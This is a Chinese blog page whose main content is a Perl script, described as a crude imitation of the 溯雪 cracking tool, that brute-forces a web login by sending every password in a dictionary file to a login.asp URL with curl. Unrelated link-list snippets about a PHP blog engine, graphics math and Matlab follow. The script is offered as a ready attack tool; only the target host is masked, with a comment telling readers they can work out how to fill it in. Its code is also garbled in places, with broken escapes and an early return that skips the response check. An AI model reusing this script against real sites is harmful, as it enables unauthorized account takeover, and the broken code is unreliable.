Perl打造溯雪拙劣仿制品

news/2024/10/30 21:21:29/
use Curl::easy;
$ok=1;
$username="shitusername";
#欲解用户名
open(DICT,"password.txt");
#字典档
while ($passwdtemp=<DICT> and $ok!=0) {
# if ($passwdtemp=<DICT>) {
# die "no password remain";
# $passwdtemp=<DICT>;

chomp($passwdtemp);
print "cracking password is $passwdtemp/n";
if (classme_crack_check($username,$passwdtemp)==0) {
print "finish/npassword is /n$passwdtemp";
$ok=0;
}
else {
$ok=1;
#$ok++;
#print $ok . "/n";
#}
}
}
if ($ok!=0) {
die "no password left!";
} else {
print "/nCongruatulations/n";
}


sub classme_crack_check{
my ($username,$password)=@_;
my $url = "<a href='http://www.xxxxxxxxxx.com/new/login.asp?username=$username&password=$password&ComeType=default' target=_blank>http://www.xxxxxxxxxx.com/new/login.asp?username=$username&password=$password&ComeType=default</a>";
#这个地方暂时隐去,看上面一行应该知道该怎么填


my $curl = Curl::easy->new();
$curl->setopt(CURLOPT_URL, $url);
#my $retcode=$curl->perform();
print $retcode;
sub body_callback {
my ($chunk,$context)=@_;
push @{$context}, $chunk;
return length($chunk); # OK
}

$curl->setopt(CURLOPT_WRITEFUNCTION, /&body_callback);
my @body;
$curl->setopt(CURLOPT_FILE, /@body);
my $retcode=$curl->perform();
if ($retcode!=0) {
return 1;
} else {
return 0;
}
#print $body;
# print join("",@body);
# print "/n/n";
$temp=$body[1];
($e,@body)=@body;
# print "begin/n";
#print $e;

#$e中存放curl的返回值
print "/n/n/n";
if ($e =~ /错误的用户名/ ) {
return 1;
} else {
return 0;
}
}

http://www.ppmy.cn/news/271518.html

相关文章

溯雪流光

如果说失去了什么&#xff0c;我失去了现实的世界 敏锐的嗅觉不懈的努力 我觉得应该从一些基本的事情开始做起&#xff0c;例如关于对网络协议的深入了解等&#xff0c;而不是仅仅拘泥于对某个漏洞或者某个工具的使用。安全的技术发展很快&#xff0c;从技术上来说你不可能熟知…

个人博客系统源码 溯雪Sxlog轻博客源码 PHP开源 简洁干净轻博客源码

源码简介&#xff1a; 溯雪(sxlog)是一款极为干净的轻博客程序&#xff0c;整个程序包不到200KB&#xff0c;极为简小&#xff0c;比一张照片都要小很多&#xff0c;简洁高效&#xff0c;占用内存极小&#xff0c;不依赖任何数据库&#xff0c;不依赖富文本编辑器&#xff0c;…

常用的渗透测试辅助工具

通常的黑客攻击包括预攻击、攻击和后攻击三个阶段&#xff1b;预攻击阶段主要指一些信息收集和漏洞扫描的过程&#xff1b;攻击过程主要是利用第一阶段发现的漏洞或弱口令等脆弱 性进行入侵&#xff1b;后攻击是指在获得攻击目标的一定权限后&#xff0c;对权限的提升、后面安装…

溯雪-轻博客PHP开源系统

溯雪(sxlog)是一款极为干净的轻博客程序&#xff0c;整个程序包不到200KB&#xff0c;极为简小&#xff0c;比一张照片都要小很多&#xff0c;简洁高效&#xff0c;占用内存极小&#xff0c;不依赖任何数据库&#xff0c;不依赖富文本编辑器&#xff0c;但她却拥有十分强大的排…

Python对接亚马逊电商平台SP-API的一些概念理解准备

❝ 除了第三方服务商&#xff0c;其实亚马逊卖家本身也可以通过和SP-API的对接&#xff0c;利用程序来自动化亚马逊店铺销售运营管理中很多环节的工作&#xff0c;简单的应用比如可以利用SP-API的对接&#xff0c;实现亚马逊卖家后台各类报表的定期自动下载以及数据分析整理工…

UE4 坐标系坐标轴旋转轴

1.UE4的X轴是前方。 2. UE4和unity都是左手坐标系。 3. UE4中&#xff0c;Rotation的X是翻滚角Roll,围绕X轴旋转。Y是俯仰角pitch&#xff0c;围绕Y轴旋转。Z当然是偏航角yaw了&#xff0c;围绕Z轴。 &#xff08;翻滚&#xff09;Roll,&#xff08;俯仰&#xff09;Pitch,&am…

旋转轴、旋转矩阵、四元数之间相互转换

1. 旋转轴To四元数 假设某个旋转是绕单位向量 n [ n x , n y , n z ] n [n_x, n_y, n_z] n[nx​,ny​,nz​]进行了角度为 θ \theta θ的旋转&#xff0c;那么这个旋转的四元数形式为: q [ c o s θ 2 , n x s i n θ 2 , n y s i n θ 2 , n z s i n θ 2 ] q[cos\frac{\…

Matlab绘图:绘制双坐标轴(双y轴)并设置两个y轴的颜色

改变颜色有两种方法&#xff1a; 第一种 在开头就设置 close all fig figure; left_color [0 0 1]; right_color [0 1 0]; set(fig,defaultAxesColorOrder,[left_color; right_color]);%然后绘图 yyaxis left %左侧 plot(1:5,5:-1:1,LineStyle,-,color,[0,0,0.5],LineWid…